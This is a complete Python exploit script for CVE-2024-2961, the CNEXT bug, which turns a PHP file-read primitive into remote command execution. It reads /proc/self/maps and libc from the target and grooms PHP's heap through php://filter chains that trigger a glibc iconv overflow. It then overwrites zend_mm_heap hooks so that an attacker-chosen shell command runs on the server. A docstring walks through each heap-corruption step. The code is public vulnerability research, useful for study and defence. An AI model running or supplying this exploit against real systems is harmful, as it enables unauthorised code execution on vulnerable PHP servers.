#!/usr/bin/env python3 # # CNEXT: PHP file-read to RCE (CVE-2024-2961) # Date: 2024-05-27 # Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS) # # TODO Parse LIBC to know if patched # # INFORMATIONS # # To use, implement the Remote class, which tells the exploit how to send the payload. # from __future__ import annotations import base64 import zlib from dataclasses import dataclass from requests.exceptions import ConnectionError, ChunkedEncodingError from pwn import * from ten import * HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄".encode("utf-8") class Remote: """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php None: self.url = url self.session = Session() def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self.session.post(self.url, data={"file": path}) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) data = response.re.search(b"File contents: (.*)", flags=re.S).group(1) return base64.decode(data) @entry @arg("url", "Target URL") @arg("command", "Command to run on the system; limited to 0x140 bytes") @arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.") @arg("heap", "Address of the main zend_mm_heap structure.") @arg( "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap " "operations with this size, increase this. Defaults to 20.", ) @dataclass class Exploit: """CNEXT exploit: RCE using a file read primitive in PHP.""" url: str command: str sleep: int = 1 heap: str = None pad: int = 20 def __post_init__(self): self.remote = Remote(self.url) self.log = logger("EXPLOIT") self.info = {} self.heap = self.heap and int(self.heap, 16) def check_vulnerable(self) -> None: """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs. """ def safe_download(path: str) -> bytes: try: return self.remote.download(path) except ConnectionError: failure("Target not [b]reachable[/] ?") def check_token(text: str, path: str) -> bool: result = safe_download(path) return text.encode() == result text = tf.random.string(50).encode() base64 = b64(text, misalign=True).decode() path = f"data:text/plain;base64,{base64}" result = safe_download(path) if text not in result: msg_failure("Remote.download did not return the test string") print("--------------------") print(f"Expected test string: {text}") print(f"Got: {result}") print("--------------------") failure("If your code works fine, it means that the [i]data://[/] wrapper does not work") msg_info("The [i]data://[/] wrapper works") text = tf.random.string(50) base64 = b64(text.encode(), misalign=True).decode() path = f"php://filter//resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]php://filter/[/] wrapper does not work") msg_info("The [i]php://filter/[/] wrapper works") text = tf.random.string(50) base64 = b64(compress(text.encode()), misalign=True).decode() path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]zlib[/] extension is not enabled") msg_info("The [i]zlib[/] extension is enabled") msg_success("Exploit preconditions are satisfied") def get_file(self, path: str) -> bytes: with msg_status(f"Downloading [i]{path}[/]..."): return self.remote.download(path) def get_regions(self) -> list[Region]: """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" maps = self.get_file("/proc/self/maps") maps = maps.decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in table.split(maps, strip=True): if match := PATTERN.match(region): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4) if "/" in path or "[" in path: path = path.rsplit(" ", 1)[-1] else: path = "" current = Region(start, stop, permissions, path) regions.append(current) else: print(maps) failure("Unable to parse memory mappings") self.log.info(f"Got {len(regions)} memory regions") return regions def get_symbols_and_addresses(self) -> None: """Obtains useful symbols and addresses from the file read primitive.""" regions = self.get_regions() LIBC_FILE = "/dev/shm/cnext-libc" # PHP's heap self.info["heap"] = self.heap or self.find_main_heap(regions) # Libc libc = self._get_region(regions, "libc-", "libc.so") self.download_file(libc.path, LIBC_FILE) self.info["libc"] = ELF(LIBC_FILE, checksec=False) self.info["libc"].address = libc.start def _get_region(self, regions: list[Region], *names: str) -> Region: """Returns the first region whose name matches one of the given names.""" for region in regions: if any(name in region.path for name in names): break else: failure("Unable to locate region") return region def download_file(self, remote_path: str, local_path: str) -> None: """Downloads `remote_path` to `local_path`""" data = self.get_file(remote_path) Path(local_path).write(data) def find_main_heap(self, regions: list[Region]) -> Region: # Any anonymous RW region with a size superior to the base heap size is a # candidate. The heap is at the bottom of the region. heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed(regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]") ] if not heaps: failure("Unable to find PHP's main heap in memory") first = heaps[0] if len(heaps) > 1: heaps = ", ".join(map(hex, heaps)) msg_info(f"Potential heaps: [i]{heaps}[/] (using first)") else: msg_info(f"Using [i]{hex(first)}[/] as heap") return first def run(self) -> None: self.check_vulnerable() self.get_symbols_and_addresses() self.exploit() def build_exploit_path(self) -> str: """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here. The idea is to use the bug to make the freelist for chunks of size 0x100 point lower. For instance, we have the following free list: ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00 By triggering the bug from chunk ..900, we get: ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ??? That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like: 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900 We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order. Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain. After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations. """ LIBC = self.info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"] ADDR_HEAP = self.info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 # Pad needs to stay at size 0x100 at every step pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad) step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash" step2_size = 0x48 step2 = b"\x00" * (step2_size + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = CS step3 = b"\x00" * step3_size assert len(step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG assert len(step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) # This chunk will eventually overwrite mm_heap->free_slot # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values step4_pwn = ptr_bucket( 0x200000, 0, # free_slot 0, 0, ADDR_CUSTOM_HEAP, # 0x18 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, # 0x140 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size=CS, ) step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 ) step4_use_custom_heap_size = 0x140 COMMAND = self.command COMMAND = f"kill -9 $PPID; {COMMAND}" if self.sleep: COMMAND = f"sleep {self.sleep}; {COMMAND}" COMMAND = COMMAND.encode() + b"\x00" assert ( len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}" COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00") step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) resource = b64(resource) resource = f"data:text/plain;base64,{resource.decode()}" filters = [ # Create buckets "zlib.inflate", "zlib.inflate", # Step 0: Setup heap "dechunk", "convert.iconv.L1.L1", # Step 1: Reverse FL order "dechunk", "convert.iconv.L1.L1", # Step 2: Put fake pointer and make FL order back to normal "dechunk", "convert.iconv.L1.L1", # Step 3: Trigger overflow "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT", # Step 4: Allocate at arbitrary address and change zend_mm_heap "convert.quoted-printable-decode", "convert.iconv.L1.L1", ] filters = "|".join(filters) path = f"php://filter/read={filters}/resource={resource}" return path @inform("Triggering...") def exploit(self) -> None: path = self.build_exploit_path() start = time.time() try: self.remote.send(path) except (ConnectionError, ChunkedEncodingError): pass msg_print() if not self.sleep: msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]") elif start + self.sleep <= time.time(): msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]") else: # Wrong heap, maybe? If the exploited suggested others, use them! msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]") msg_print() def compress(data) -> bytes: """Returns data suitable for `zlib.inflate`. """ # Remove 2-byte header and 4-byte checksum return zlib.compress(data, 9)[2:-4] def b64(data: bytes, misalign=True) -> bytes: payload = base64.encode(data) if not misalign and payload.endswith("="): raise ValueError(f"Misaligned: {data}") return payload.encode() def compressed_bucket(data: bytes) -> bytes: """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000) def qpe(data: bytes) -> bytes: """Emulates quoted-printable-encode. """ return "".join(f"={x:02x}" for x in data).upper().encode() def ptr_bucket(*ptrs, size=None) -> bytes: """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None: assert len(ptrs) * 8 == size bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucket def chunked_chunk(data: bytes, size: int = None) -> bytes: """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ # The caller does not care about the size: let's just add 8, which is more than # enough if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n" @dataclass class Region: """A memory region.""" start: int stop: int permissions: str path: str @property def size(self) -> int: return self.stop - self.start Exploit()